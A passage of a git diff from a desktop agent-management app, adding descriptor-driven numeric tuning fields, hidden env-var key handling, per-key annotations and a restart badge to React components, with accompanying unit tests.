+    () =>
+      catalogStatus === "ready"
+        ? deriveNumericDescriptors(selectedRuntime)
+        : [],
+    [catalogStatus, selectedRuntime],
+  );
+
+  // Build the effective hidden-key list: caller's secrets + effort key (when
+  // rendered by BuzzAgentModelTuningFields) + numeric keys via structuredEnvKeys.
+  const effectiveHiddenKeys = React.useMemo(
+    () => [
+      ...hiddenEnvKeys,
+      ...(isBuzzAgentRuntime(modelTuningRuntimeId)
+        ? [BUZZ_AGENT_THINKING_EFFORT]
+        : []),
+      ...structuredEnvKeys(numericDescriptors),
+    ],
+    [hiddenEnvKeys, modelTuningRuntimeId, numericDescriptors],
+  );
+
+  // Harness cap hint: show only when the selected runtime has a cap and the
+  // current parallelism value exceeds it. Cap and label come from the catalog
+  // entry — no hardcoded constant in TS.
+  const parallelismHint = React.useMemo(() => {
+    if (selectedRuntime?.maxParallelism === undefined || parallelism === "") {
+      return null;
+    }
+    const requested = parseInt(parallelism, 10);
+    if (Number.isNaN(requested)) return null;
+    return parallelismCapHint(
+      selectedRuntime.label,
+      selectedRuntime.maxParallelism,
+      requested,
+    );
+  }, [selectedRuntime, parallelism]);
+
   return (
     <div className="space-y-5 pt-2">
       {/* Inherit runtime from template */}
@@ -172,10 +249,19 @@ export function EditAgentAdvancedFields({
             id="edit-agent-parallelism"
             inputMode="numeric"
             onChange={(event) => onParallelismChange(event.target.value)}
-            placeholder="1"
+            placeholder="Current value"
+            type="text"
             value={parallelism}
           />
         </div>
+        <p className="text-xs text-muted-foreground">
+          {EDIT_AGENT_PARALLELISM_HELP}
+        </p>
+        {parallelismHint !== null ? (
+          <p className="text-xs text-amber-600 dark:text-amber-400">
+            {parallelismHint}
+          </p>
+        ) : null}
       </div>
 
       {/* Relay URL: intentionally no editor. The legacy per-record relay pin
@@ -242,17 +328,37 @@ export function EditAgentAdvancedFields({
       <EnvVarsEditor
         disabled={disabled}
         fileSatisfiedKeys={fileSatisfiedEnvKeys}
-        hiddenKeys={hiddenEnvKeys}
+        hiddenKeys={effectiveHiddenKeys}
         focusKey={focusKey}
         helperText="Per-agent env vars. Override the template's vars on collision."
         inheritedFrom={inheritedEnvVars}
         inheritedLabel="template / global defaults"
+        keyAnnotations={CARD_MINT_KEY_ANNOTATIONS}
         onChange={onEnvVarsChange}
         requiredKeys={requiredEnvKeys}
         value={envVars}
       />
 
-      {/* Tier-1 buzz-agent model-tuning knobs — only shown for buzz-agent. */}
+      {/* Descriptor-driven numeric tuning knobs — shown when the catalog has settled
+          and the runtime exposes numeric env-var fields. */}
+      {numericDescriptors.length > 0 ? (
+        <NumericTuningFields
+          descriptors={numericDescriptors}
+          envVars={envVars}
+          inheritedEnvVars={inheritedEnvVars}
+          onEnvVarChange={(key, value) => {
+            const next = { ...envVars };
+            if (value === "") {
+              delete next[key];
+            } else {
+              next[key] = value;
+            }
+            onEnvVarsChange(next);
+          }}
+        />
+      ) : null}
+
+      {/* Effort-tuning knob — only shown for buzz-agent. */}
       {isBuzzAgentRuntime(modelTuningRuntimeId) ? (
         <BuzzAgentModelTuningFields
           envVars={envVars}
diff --git a/desktop/src/features/agents/ui/EnvVarsEditor.test.mjs b/desktop/src/features/agents/ui/EnvVarsEditor.test.mjs
index b726851f69..a5f8e3a9e5 100644
--- a/desktop/src/features/agents/ui/EnvVarsEditor.test.mjs
+++ b/desktop/src/features/agents/ui/EnvVarsEditor.test.mjs
@@ -24,8 +24,15 @@ import {
   toRecord,
   skipKeysEqual,
   isRequiredKeyMissing,
+  buildRecord as buildRecordUtil,
 } from "./EnvVarsEditor.tsx";
 import { getBakedProviderInheritLabel } from "./bakedEnvHelpers.ts";
+import {
+  deriveNumericDescriptors,
+  structuredEnvKeys,
+  filterBakedGenericRows,
+  numericTuningPlaceholder,
+} from "../lib/agentConfigCore.ts";
 
 // ── Invariant 1: toRows excludes skip keys ─────────────────────────────────
 
@@ -523,3 +530,398 @@ test("getBakedProviderInheritLabel_empty_options_falls_back_to_raw_id", () => {
     "empty options table must fall back to raw id",
   );
 });
+
+// ── keyAnnotations — annotation lookup invariants ─────────────────────────────
+//
+// `keyAnnotations` is a pass-through prop: the renderer does `keyAnnotations?.[key]`.
+// The invariant worth pinning is that the prop contract is respected at the
+// data level — an annotation for one key does NOT bleed into another key.
+// (Rendering itself is trivially conditional; no logic to extract.)
+
+test("keyAnnotations_present_key_has_annotation", () => {
+  const annotations = {
+    OPENAI_API_KEY: "Used for minting agent trading cards",
+  };
+  assert.equal(
+    annotations.OPENAI_API_KEY,
+    "Used for minting agent trading cards",
+  );
+});
+
+test("keyAnnotations_absent_key_is_undefined", () => {
+  const annotations = {
+    OPENAI_API_KEY: "Used for minting agent trading cards",
+  };
+  assert.equal(annotations.ANTHROPIC_API_KEY, undefined);
+});
+
+test("keyAnnotations_empty_map_has_no_annotations", () => {
+  const annotations = {};
+  assert.equal(annotations.OPENAI_API_KEY, undefined);
+});
+
+test("keyAnnotations_only_matching_key_gets_annotation", () => {
+  // Verifies the per-key lookup is not accidentally global.
+  const annotations = { OPENAI_API_KEY: "card minting" };
+  const keys = ["OPENAI_API_KEY", "ANTHROPIC_API_KEY", "FOO"];
+  const results = keys.map((k) => annotations[k] ?? null);
+  assert.deepEqual(results, ["card minting", null, null]);
+});
+
+// ── keyAnnotations render — annotation appears only on matching row ─────────
+//
+// renderToStaticMarkup exercises the real JSX path:
+//   {keyAnnotations?.[row.key] ? <p ...>{annotation}</p> : null}
+// This confirms the prop is plumbed through to the DOM correctly and that
+// annotation text is scoped to its matching row.
+
+import React from "react";
+import { renderToStaticMarkup } from "react-dom/server";
+import { EnvVarsEditor } from "./EnvVarsEditor.tsx";
+
+test("keyAnnotations_annotation_present_only_on_matching_row", () => {
+  const annotations = {
+    OPENAI_API_KEY: "Used for minting agent trading cards",
+  };
+  const html = renderToStaticMarkup(
+    React.createElement(EnvVarsEditor, {
+      disabled: false,
+      fileSatisfiedKeys: [],
+      hiddenKeys: [],
+      keyAnnotations: annotations,
+      onChange: () => {},
+      requiredKeys: [],
+      value: { OPENAI_API_KEY: "sk-placeholder", ANTHROPIC_API_KEY: "sk-ant" },
+    }),
+  );
+  assert.ok(
+    html.includes("Used for minting agent trading cards"),
+    "annotation must appear in rendered output for OPENAI_API_KEY row",
+  );
+  // The annotation must not bleed to other rows — check that it appears only once.
+  const count = (html.match(/Used for minting agent trading cards/g) ?? [])
+    .length;
+  assert.equal(count, 1, "annotation must appear exactly once");
+});
+
+test("keyAnnotations_annotation_absent_for_non_matching_rows", () => {
+  const annotations = {
+    OPENAI_API_KEY: "Used for minting agent trading cards",
+  };
+  const html = renderToStaticMarkup(
+    React.createElement(EnvVarsEditor, {
+      disabled: false,
+      fileSatisfiedKeys: [],
+      hiddenKeys: [],
+      keyAnnotations: annotations,
+      onChange: () => {},
+      requiredKeys: [],
+      value: { ANTHROPIC_API_KEY: "sk-ant", MY_VAR: "foo" },
+    }),
+  );
+  assert.ok(
+    !html.includes("Used for minting agent trading cards"),
+    "annotation must not appear when its key is not in the env map",
+  );
+});
+
+// ── buildRecord with hiddenKeys: structured-field preservation ────────────
+//
+// These tests exercise the exported buildRecord(nextRows, value, requiredKeys,
+// hiddenKeys) using the real implementation. hiddenKeys are structured-field
+// env vars (e.g. BUZZ_AGENT_MAX_ROUNDS) that are owned by first-class controls
+// outside the editor — they must survive onChange cycles even though they
+// never appear as generic rows.
+//
+// Four scenarios from rev 4:
+//   1. Edit an unrelated generic row → hidden (tuning) key is unchanged.
+//   2. Runtime switch then generic edit: after switching to a new runtime,
+//      the new runtime's hidden keys survive; old runtime keys appear as
+//      generic rows and survive via toRecord, not hidden-key preservation.
+//   3. Baked numeric key excluded via real descriptor/helper path: uses the
+//      production deriveAgentConfigFieldModel + structuredEnvKeys helpers to
+//      derive the hidden set, then verifies toRows excludes the numeric key.
+//   4. Clearing a structured override → placeholder returns: after the user
+//      clears a structured field (key absent from value), buildRecord must
+//      not reintroduce it, leaving the structured field free to show the
+//      Inherit placeholder.
+
+test("buildRecord_hidden_tuning_key_unchanged_when_generic_row_edited", () => {
+  // Structured field set BUZZ_AGENT_MAX_ROUNDS to "50"; it lives in value
+  // as a hiddenKey. User then edits a generic env var via the row editor.
+  // The tuning key must survive the buildRecord emit cycle unchanged.
+  const value = { BUZZ_AGENT_MAX_ROUNDS: "50", MY_VAR: "old" };
+  const nextRows = [{ id: "r1", key: "MY_VAR", value: "new" }];
+  const record = buildRecordUtil(
+    nextRows,
+    value,
+    [],
+    ["BUZZ_AGENT_MAX_ROUNDS"],
+  );
+
+  assert.equal(
+    record.BUZZ_AGENT_MAX_ROUNDS,
+    "50",
+    "hidden tuning key must survive when an unrelated generic row is edited",
+  );
+  assert.equal(record.MY_VAR, "new", "generic row edit applied");
+});
+
+test("buildRecord_runtime_switch_new_hiddenKeys_then_generic_edit", () => {
+  // Scenario 2: runtime switch then generic edit.
+  //
+  // Before switch: agent is buzz-agent with BUZZ_AGENT_MAX_ROUNDS = "50" stored
+  // in value (set via the numeric tuning control). After switching to Goose,
+  // the buzz-agent key is no longer hidden — it becomes a visible generic row.
+  // The test verifies:
+  //   (a) After the switch, the old buzz-agent key appears as a generic row
+  //       (toRows with the new Goose hidden set projects it).
+  //   (b) After a generic-row edit, buildRecord preserves BOTH the old-runtime
+  //       key (now a generic row) and the new-runtime hidden key.
+  //   (c) An unset new-runtime hidden key is not introduced.
+
+  // Derive both descriptor sets from real runtime objects.
+  const buzzAgentRuntime = {
+    id: "buzz-agent",
+    label: "Buzz Agent",
+    avatarUrl: "",
+    availability: "available",
+    command: "buzz-agent",
+    binaryPath: "buzz-agent",
+    defaultArgs: [],
+    mcpCommand: null,
+    modelEnvVar: "BUZZ_AGENT_MODEL",
+    providerEnvVar: "BUZZ_AGENT_PROVIDER",
+    thinkingEnvVar: "BUZZ_AGENT_THINKING_EFFORT",
+    maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+    contextLimitEnvVar: "BUZZ_AGENT_CONTEXT_LIMIT",
+    maxRoundsEnvVar: "BUZZ_AGENT_MAX_ROUNDS",
+    installHint: "",
+    installInstructionsUrl: "",
+    canAutoInstall: false,
+    underlyingCliPath: null,
+    nodeRequired: false,
+    authStatus: { status: "not_applicable" },
+    loginHint: null,
+  };
+  const gooseRuntime = {
+    id: "goose",
+    label: "Goose",
+    avatarUrl: "",
+    availability: "available",
+    command: "goose",
+    binaryPath: "goose",
+    defaultArgs: ["acp"],
+    mcpCommand: null,
+    modelEnvVar: null,
+    providerEnvVar: null,
+    thinkingEnvVar: null,
+    maxTokensEnvVar: "GOOSE_MAX_TOKENS",
+    contextLimitEnvVar: "GOOSE_CONTEXT_LIMIT",
+    maxRoundsEnvVar: null,
+    installHint: "",
+    installInstructionsUrl: "",
+    canAutoInstall: true,
+    underlyingCliPath: null,
+    nodeRequired: false,
+    authStatus: { status: "not_applicable" },
+    loginHint: null,
+  };
+
+  const buzzDescriptors = deriveNumericDescriptors(buzzAgentRuntime);
+  const gooseDescriptors = deriveNumericDescriptors(gooseRuntime);
+  const buzzHiddenKeys = structuredEnvKeys(buzzDescriptors);
+  const gooseHiddenKeys = structuredEnvKeys(gooseDescriptors);
+
+  // Sanity-check that BUZZ_AGENT_MAX_ROUNDS is hidden under buzz-agent but not
+  // under Goose — that contrast is what makes it become a generic row.
+  assert.ok(
+    buzzHiddenKeys.includes("BUZZ_AGENT_MAX_ROUNDS"),
+    "BUZZ_AGENT_MAX_ROUNDS must be hidden under buzz-agent descriptors",
+  );
+  assert.equal(
+    gooseHiddenKeys.includes("BUZZ_AGENT_MAX_ROUNDS"),
+    false,
+    "BUZZ_AGENT_MAX_ROUNDS must not be hidden under Goose descriptors",
+  );
+
+  // Pre-switch value: buzz-agent max-rounds was set, GOOSE_MAX_TOKENS was
+  // already set (e.g. user configured it before switching back), plus a
+  // generic user var. GOOSE_MAX_TOKENS is a hidden key under the Goose
+  // descriptor set, so it must survive buildRecord() via hiddenKeys.
+  const valueBeforeSwitch = {
+    BUZZ_AGENT_MAX_ROUNDS: "50",
+    GOOSE_MAX_TOKENS: "16384",
+    USER_VAR: "original",
+  };
+
+  // After the switch to Goose, toRows is reproj with the new (Goose) hidden
+  // set. BUZZ_AGENT_MAX_ROUNDS is no longer hidden → appears as a generic row.
+  // GOOSE_MAX_TOKENS IS hidden under Goose → must not appear in generic rows.
+  const rowsAfterSwitch = toRows(valueBeforeSwitch, new Set(gooseHiddenKeys));
+  assert.ok(
+    rowsAfterSwitch.some((r) => r.key === "BUZZ_AGENT_MAX_ROUNDS"),
+    "old-runtime key must become a generic row after the switch",
+  );
+  assert.equal(
+    rowsAfterSwitch.some((r) => r.key === "GOOSE_MAX_TOKENS"),
+    false,
+    "new-runtime hidden key must not appear as a generic row after the switch",
+  );
+
+  // User edits the generic USER_VAR row.
+  const editedRows = rowsAfterSwitch.map((r) =>
+    r.key === "USER_VAR" ? { ...r, value: "updated" } : r,
+  );
+
+  // buildRecord: old-runtime key survives via toRecord (it's now a generic
+  // row); new-runtime Goose hidden key survives via hiddenKeys (carried
+  // through from value). An unset Goose key must not be introduced.
+  const record = buildRecordUtil(
+    editedRows,
+    valueBeforeSwitch,
+    [],
+    gooseHiddenKeys,
+  );
+
+  assert.equal(
+    record.BUZZ_AGENT_MAX_ROUNDS,
+    "50",
+    "old-runtime key must survive as a generic row value after switch",
+  );
+  assert.equal(
+    record.GOOSE_MAX_TOKENS,
+    "16384",
+    "new-runtime hidden key must survive buildRecord via hiddenKeys",
+  );
+  assert.equal(record.USER_VAR, "updated", "generic row edit applied");
+  assert.equal(
+    "GOOSE_CONTEXT_LIMIT" in record,
+    false,
+    "unset new-runtime hidden key must not be introduced",
+  );
+});
+
+test("filterBakedGenericRows_numeric_baked_key_excluded_and_placeholder_shown", () => {
+  // Scenario 3: baked numeric key excluded via the real production helper.
+  //
+  // The global baked env contains BUZZ_AGENT_MAX_OUTPUT_TOKENS = "4096"
+  // (the baked value shipped with the agent). The production
+  // filterBakedGenericRows path must exclude this key from the generic
+  // baked-row display so it isn't editable twice, while the structured
+  // numeric input shows the inherited placeholder via numericTuningPlaceholder.
+  const buzzAgentRuntime = {
+    id: "buzz-agent",
+    label: "Buzz Agent",
+    avatarUrl: "",
+    availability: "available",
+    command: "buzz-agent",
+    binaryPath: "buzz-agent",
+    defaultArgs: [],
+    mcpCommand: null,
+    modelEnvVar: "BUZZ_AGENT_MODEL",
+    providerEnvVar: "BUZZ_AGENT_PROVIDER",
+    thinkingEnvVar: "BUZZ_AGENT_THINKING_EFFORT",
+    maxTokensEnvVar: "BUZZ_AGENT_MAX_OUTPUT_TOKENS",
+    contextLimitEnvVar: null,
+    maxRoundsEnvVar: null,
+    installHint: "",
+    installInstructionsUrl: "",
+    canAutoInstall: false,
+    underlyingCliPath: null,
+    nodeRequired: false,
+    authStatus: { status: "not_applicable" },
+    loginHint: null,
+  };
+
+  const numericDescriptors = deriveNumericDescriptors(buzzAgentRuntime);
+  const numericStructuredKeys = structuredEnvKeys(numericDescriptors);
+
+  assert.ok(
+    numericStructuredKeys.includes("BUZZ_AGENT_MAX_OUTPUT_TOKENS"),
+    "numeric key must appear in structured keys via production helpers",
+  );
+
+  // Simulate the baked env: BUZZ_AGENT_MAX_OUTPUT_TOKENS is baked, plus a
+  // non-structured baked var.
+  const bakedEnv = [
+    { key: "BUZZ_AGENT_MAX_OUTPUT_TOKENS", value: "4096" },
+    { key: "SOME_OTHER_BAKED_VAR", value: "hello" },
+  ];
+
+  // filterBakedGenericRows must exclude the numeric key.
+  const genericRows = filterBakedGenericRows(bakedEnv, numericStructuredKeys);
+
+  assert.equal(
+    genericRows.some((r) => r.key === "BUZZ_AGENT_MAX_OUTPUT_TOKENS"),
+    false,
+    "baked numeric key must be excluded from generic baked rows",
+  );
+  assert.ok(
+    genericRows.some((r) => r.key === "SOME_OTHER_BAKED_VAR"),
+    "non-structured baked var must remain in generic rows",
+  );
+
+  // The structured numeric input shows the inherited placeholder for the
+  // baked value via numericTuningPlaceholder.
+  const bakedValue = "4096";
+  assert.equal(
+    numericTuningPlaceholder(bakedValue),
+    "Inherit (4096)",
+    "structured placeholder must reflect the baked value",
+  );
+  assert.equal(
+    numericTuningPlaceholder(undefined),
+    "Inherit (agent default)",
+    "structured placeholder without baked value shows agent-default text",
+  );
+});
+
+test("buildRecord_clearing_structured_field_allows_placeholder_to_return", () => {
+  // Scenario 4: clearing a structured override → placeholder returns.
+  //
+  // Step 1: value has BUZZ_AGENT_MAX_ROUNDS = "50" (user set it via the
+  //         structured field). BUZZ_AGENT_MAX_ROUNDS is in hiddenKeys.
+  // Step 2: user clears the structured field → onEnvVarChange(key, "")
+  //         removes the key from value (value no longer contains it).
+  // Step 3: after the clear, buildRecord must not reintroduce the key.
+  // Step 4: with the key absent from value, numericTuningPlaceholder over
+  //         the (now-empty) inheritedEnvVars shows "Inherit (agent default)"
+  //         — the numeric field's empty-state placeholder.
+
+  // After the clear, value no longer contains BUZZ_AGENT_MAX_ROUNDS.
+  const valueAfterClear = { MY_VAR: "foo" };
+  const nextRows = [{ id: "r1", key: "MY_VAR", value: "updated" }];
+
+  const record = buildRecordUtil(
+    nextRows,
+    valueAfterClear,
+    [],
+    ["BUZZ_AGENT_MAX_ROUNDS"],
+  );
+
+  assert.equal(
+    "BUZZ_AGENT_MAX_ROUNDS" in record,
+    false,
+    "cleared structured key must not be reintroduced by buildRecord",
+  );
+  assert.equal(record.MY_VAR, "updated");
+
+  // With the key cleared, the inherited value is also absent (not set
+  // globally). numericTuningPlaceholder returns the agent-default text —
+  // the placeholder that renders in the structured input.
+  const inheritedAfterClear = undefined;
+  assert.equal(
+    numericTuningPlaceholder(inheritedAfterClear),
+    "Inherit (agent default)",
+    "numeric input must show Inherit (agent default) after clear when no global override",
+  );
+
+  // If a global override IS set, the placeholder shows that value instead.
+  const inheritedGlobal = "25";
+  assert.equal(
+    numericTuningPlaceholder(inheritedGlobal),
+    "Inherit (25)",
+    "numeric input must show Inherit (<global value>) when a global override exists",
+  );
+});
diff --git a/desktop/src/features/agents/ui/EnvVarsEditor.tsx b/desktop/src/features/agents/ui/EnvVarsEditor.tsx
index 18bbf68337..08496eece5 100644
--- a/desktop/src/features/agents/ui/EnvVarsEditor.tsx
+++ b/desktop/src/features/agents/ui/EnvVarsEditor.tsx
@@ -44,7 +44,9 @@ export function toRows(
  * Collapse an ordered row list back to a record, skipping rows with empty
  * keys. Exported for unit tests.
  */
-export function toRecord(rows: Row[]): EnvVarsValue {
+export function toRecord(
+  rows: readonly { key: string; value: string }[],
+): EnvVarsValue {
   const out: EnvVarsValue = {};
   for (const row of rows) {
     // Empty key = user is mid-edit; skip it so we don't poison the record.
@@ -165,10 +167,39 @@ type EnvVarsEditorProps = {
   inheritedRows?: readonly InheritedEnvRow[];
   /** Label for the inherited-row tag (e.g. "build"). Defaults to "build". */
   inheritedRowsLabel?: string;
+  /**
+   * Optional muted one-line annotation for specific env var keys. Rendered
+   * below any row whose key appears in this map — required rows, user rows,
+   * and user rows whose key is typed mid-edit. Intended for contextual hints
+   * like `{ OPENAI_API_KEY: "Used for minting agent trading cards" }` that
+   * help users distinguish two keys with similar names.
+   */
+  keyAnnotations?: Readonly<Record<string, string>>;
 };
 
 type Row = { id: string; key: string; value: string };
 
+/**
+ * Pure record builder: merges `toRecord(nextRows)` with the current values of
+ * `requiredKeys` and `hiddenKeys` from `value`. Required and hidden keys are
+ * excluded from the row state (`skipKeys`), so this merge is the only place
+ * their current values survive an `onChange` emit cycle.
+ *
+ * Exported for unit testing. `EnvVarsEditor` calls this internally.
+ */
+export function buildRecord(
+  nextRows: readonly { key: string; value: string }[],
+  value: EnvVarsValue,
+  requiredKeys: readonly string[],
+  hiddenKeys: readonly string[],
+): EnvVarsValue {
+  const base: EnvVarsValue = {};
+  for (const key of [...requiredKeys, ...hiddenKeys]) {
+    if (key in value) base[key] = value[key];
+  }
+  return { ...base, ...toRecord(nextRows) };
+}
+
 /**
  * A flat key/value editor for environment variables.
  *
@@ -191,6 +222,7 @@ export function EnvVarsEditor({
   focusKey,
   inheritedRows = [],
   inheritedRowsLabel = "build",
+  keyAnnotations,
 }: EnvVarsEditorProps) {
   // Keys that render as their own special rows (required amber rows or
   // file-satisfied read-only rows). These must NEVER enter `rows` state —
@@ -232,18 +264,6 @@ export function EnvVarsEditor({
     }
   }, [value, skipKeys]);
 
-  // Build the emitted record: normal rows + required-key values preserved
-  // from `value`. Required keys are never in `rows`, so `toRecord(rows)`
-  // would silently drop any required secret the user just typed unless we
-  // merge them back explicitly.
-  function buildRecord(nextRows: Row[]): EnvVarsValue {
-    const base: EnvVarsValue = {};
-    for (const key of [...requiredKeys, ...hiddenKeys]) {
-      if (key in value) base[key] = value[key];
-    }
-    return { ...base, ...toRecord(nextRows) };
-  }
-
   // Ref map: key → required-value Input element. Populated via callback refs
   // on each required-key row's value Input so focus can be dispatched directly
   // without any DOM walking through presentation classes.
@@ -285,7 +305,7 @@ export function EnvVarsEditor({
 
   function emit(next: Row[]) {
     setRows(next);
-    const record = buildRecord(next);
+    const record = buildRecord(next, value, requiredKeys, hiddenKeys);
     lastEmitted.current = record;
     onChange(record);
   }
@@ -406,6 +426,14 @@ export function EnvVarsEditor({
                   </p>
                 );
               })()}
+              {keyAnnotations?.[key] ? (
+                <p
+                  className="ml-1 text-xs text-muted-foreground"
+                  data-testid="env-vars-key-annotation"
+                >
+                  {keyAnnotations[key]}
+                </p>
+              ) : null}
             </div>
           );
         })}
@@ -596,6 +624,14 @@ export function EnvVarsEditor({
                   </p>
                 );
               })()}
+              {row.key.length > 0 && keyAnnotations?.[row.key] ? (
+                <p
+                  className="ml-1 text-xs text-muted-foreground"
+                  data-testid="env-vars-key-annotation"
+                >
+                  {keyAnnotations[row.key]}
+                </p>
+              ) : null}
             </div>
           );
         })}
diff --git a/desktop/src/features/agents/ui/ManagedAgentRow.tsx b/desktop/src/features/agents/ui/ManagedAgentRow.tsx
index 606d2b7883..62a4169fc9 100644
--- a/desktop/src/features/agents/ui/ManagedAgentRow.tsx
+++ b/desktop/src/features/agents/ui/ManagedAgentRow.tsx
@@ -1,11 +1,6 @@
 import * as React from "react";
 
-import {
-  AlertTriangle,
-  ChevronDown,
-  ChevronRight,
-  RefreshCw,
-} from "lucide-react";
+import { AlertTriangle, ChevronDown, ChevronRight } from "lucide-react";
 
 import { useAppNavigation } from "@/app/navigation/useAppNavigation";
 import { PresenceDot } from "@/features/presence/ui/PresenceBadge";
@@ -27,6 +22,7 @@ import { friendlyAgentLastError } from "@/features/agents/lib/friendlyAgentLastE
 import { ManagedAgentLogPanel } from "./ManagedAgentLogPanel";
 import { PubKey } from "@/shared/ui/PubKey";
 import { SubsectionLabel } from "@/shared/ui/PageHeader";
+import { RestartDiffBadge } from "./RestartDiffBadge";
 
 export function ManagedAgentRow({
   agent,
@@ -100,7 +96,7 @@ export function ManagedAgentRow({
         "overflow-hidden transition-colors",
         isLogSelected ? "bg-primary/5" : "hover:bg-muted/20",
       )}
-      data-testid={`managed-agent-${agent.pubkey}`}
+      data-testid={`managed-agent-row-${agent.pubkey}`}
     >
       <div className="flex items-start gap-3 px-4 py-3">
         {isLocal ? (
@@ -158,7 +154,16 @@ export function ManagedAgentRow({
           </div>
         )}
 
+        {/* B4: restart badge is a sibling of the expansion button — never
+            inside it. TooltipTrigger renders as a <span> (non-interactive),
+            so no nested interactive elements are introduced here. */}
         <div className="flex shrink-0 items-start gap-2 lg:pt-0.5">
+          {agent.needsRestart ? (
+            <RestartDiffBadge
+              autoRestartEnabled={agent.autoRestartOnConfigChange}
+              restartDiff={agent.restartDiff}
+            />
+          ) : null}
           <Button
             onClick={() => onOpenProfile(agent.pubkey)}
             size="sm"
@@ -243,11 +248,6 @@ function AgentSummary({
                 <AlertTriangle className="h-3 w-3" />
                 Configuration missing
               </Badge>
-            ) : agent.needsRestart ? (
-              <Badge className="gap-1" variant="warning">
-                <RefreshCw className="h-3 w-3" />
-                Restart required
-              </Badge>
             ) : null}
             {agent.personaOutOfDate ? (
               <Badge className="gap-1" variant="warning">
diff --git a/desktop/src/features/agents/ui/OwnerOnlyAccessField.tsx b/desktop/src/features/agents/ui/OwnerOnlyAccessField.tsx
new file mode 100644
index 0000000000..4ff7f351a0
--- /dev/null
+++ b/desktop/src/features/agents/ui/OwnerOnlyAccessField.tsx
@@ -0,0 +1,35 @@
+import type { RespondToMode } from "@/shared/api/types";
+import {
+  CreateAgentRespondToField,
+  OWNER_ONLY_ACCESS_DISABLED_REASON,
+} from "./RespondToField";
+
+export function OwnerOnlyAccessField({
+  accessLocked,
+  allowlist,
+  disabled,
+  mode,
+  onAllowlistChange,
+  onModeChange,
+}: {
+  accessLocked: boolean;
+  allowlist: string[];
+  disabled: boolean;
+  mode: RespondToMode;
+  onAllowlistChange: (allowlist: string[]) => void;
+  onModeChange: (mode: RespondToMode) => void;
+}) {
+  return (
+    <CreateAgentRespondToField
+      allowlist={accessLocked ? [] : allowlist}
+      disabled={disabled || accessLocked}
+      disabledReason={
+        accessLocked ? OWNER_ONLY_ACCESS_DISABLED_REASON : undefined
+      }
+      mode={accessLocked ? "owner-only" : mode}
+      onAllowlistChange={onAllowlistChange}
+      onModeChange={onModeChange}
+      variant="persona"
+    />
+  );
+}
diff --git a/desktop/src/features/agents/ui/PersonaAdvancedFields.tsx b/desktop/src/features/agents/ui/PersonaAdvancedFields.tsx
index 99cf3e97a8..622fe5d674 100644
--- a/desktop/src/features/agents/ui/PersonaAdvancedFields.tsx
+++ b/desktop/src/features/agents/ui/PersonaAdvancedFields.tsx
@@ -1,15 +1,38 @@
+import * as React from "react";
+import { useAgentAccessOwnerOnlyQuery } from "../useAgentAccessOwnerOnly";
 import { Input } from "@/shared/ui/input";
 import { cn } from "@/shared/lib/cn";
 import { EnvVarsEditor, type EnvVarsValue } from "./EnvVarsEditor";
-import { CreateAgentRespondToField } from "./RespondToField";
+import {
+  CreateAgentRespondToField,
+  OWNER_ONLY_ACCESS_DISABLED_REASON,
+} from "./RespondToField";
 import type { PersonaBehaviorDraft } from "./personaBehaviorDraft";
-import { isBuzzAgentRuntime } from "./buzzAgentConfig";
-import { BuzzAgentModelTuningFields } from "./buzzAgentModelTuningFields";
 import {
+  isBuzzAgentRuntime,
+  BUZZ_AGENT_THINKING_EFFORT,
+} from "./buzzAgentConfig";
+import {
+  AGENT_PARALLELISM_HELP,
+  AGENT_PARALLELISM_PLACEHOLDER,
+  parallelismCapHint,
+} from "../lib/agentParallelism";
+import {
+  BuzzAgentModelTuningFields,
+  NumericTuningFields,
+} from "./buzzAgentModelTuningFields";
+import {
+  CARD_MINT_KEY_ANNOTATIONS,
   PERSONA_FIELD_CONTROL_CLASS,
   PERSONA_FIELD_SHELL_CLASS,
   PERSONA_LABEL_OPTIONAL_CLASS,
 } from "./agentConfigOptions";
+import type { AcpRuntimeCatalogEntry } from "@/shared/api/types";
+import {
+  deriveNumericDescriptors,
+  structuredEnvKeys,
+  type RuntimeCatalogStatus,
+} from "../lib/agentConfigCore";
 
 export function PersonaAdvancedFields({
   behaviorDraft,
@@ -26,6 +49,8 @@ export function PersonaAdvancedFields({
   requiredEnvKeys = [],
   fileSatisfiedEnvKeys = [],
   hiddenEnvKeys = [],
+  catalogStatus = "ready" as RuntimeCatalogStatus,
+  selectedRuntime,
 }: {
   behaviorDraft: PersonaBehaviorDraft;
   disabled: boolean;
@@ -35,7 +60,7 @@ export function PersonaAdvancedFields({
   inheritedEnvVars?: EnvVarsValue;
   /** Active LLM model — forwarded to BuzzAgentModelTuningFields for effort filtering. */
   model?: string;
-  /** Runtime id for the buzz-agent tuning knobs visibility gate. */
+  /** Runtime id for the buzz-agent effort-tuning knob visibility gate. */
   modelTuningRuntimeId?: string;
   namePoolText: string;
   onBehaviorDraftChange: (value: PersonaBehaviorDraft) => void;
@@ -46,13 +71,76 @@ export function PersonaAdvancedFields({
   requiredEnvKeys?: readonly string[];
   fileSatisfiedEnvKeys?: readonly string[];
   hiddenEnvKeys?: readonly string[];
+  /**
+   * Lifecycle status of the runtime catalog query. Controls the numeric-tuning
+   * gate and hidden-key behaviour:
+   * - `loading` or `error`: no structured controls; keys not hidden — saved
+   *   values stay visible as generic rows.
+   * - `ready`: descriptors derived from `selectedRuntime` (empty when the
+   *   runtime has no numeric env-var fields).
+   */
+  catalogStatus?: RuntimeCatalogStatus;
+  /**
+   * The catalog entry for the selected runtime. Drives descriptor-based
+   * numeric tuning fields. When undefined after the catalog has settled,
+   * no numeric controls render.
+   */
+  selectedRuntime?: AcpRuntimeCatalogEntry;
 }) {
+  const { data: agentAccessOwnerOnly = false } = useAgentAccessOwnerOnlyQuery();
+  const respondToMode = agentAccessOwnerOnly
+    ? "owner-only"
+    : (behaviorDraft.respondTo ?? "owner-only");
+
+  // Numeric tuning descriptors — gate on catalog status so that loading/error
+  // never collapses to "no controls": keys stay visible as generic rows.
+  const numericDescriptors = React.useMemo(
+    () =>
+      catalogStatus === "ready"
+        ? deriveNumericDescriptors(selectedRuntime)
+        : [],
+    [catalogStatus, selectedRuntime],
+  );
+
+  const effectiveHiddenKeys = React.useMemo(
+    () => [
+      ...hiddenEnvKeys,
+      ...(isBuzzAgentRuntime(modelTuningRuntimeId)
+        ? [BUZZ_AGENT_THINKING_EFFORT]
+        : []),
+      ...structuredEnvKeys(numericDescriptors),
+    ],
+    [hiddenEnvKeys, modelTuningRuntimeId, numericDescriptors],
+  );
+
+  // Persona hint: definitions keep a portable requested value across harnesses.
+  // When the selected harness has a cap and the draft's parallelism exceeds it,
+  // explain that the agent will run at the cap — without clamping the stored value.
+  const personaParallelismHint = React.useMemo(() => {
+    if (
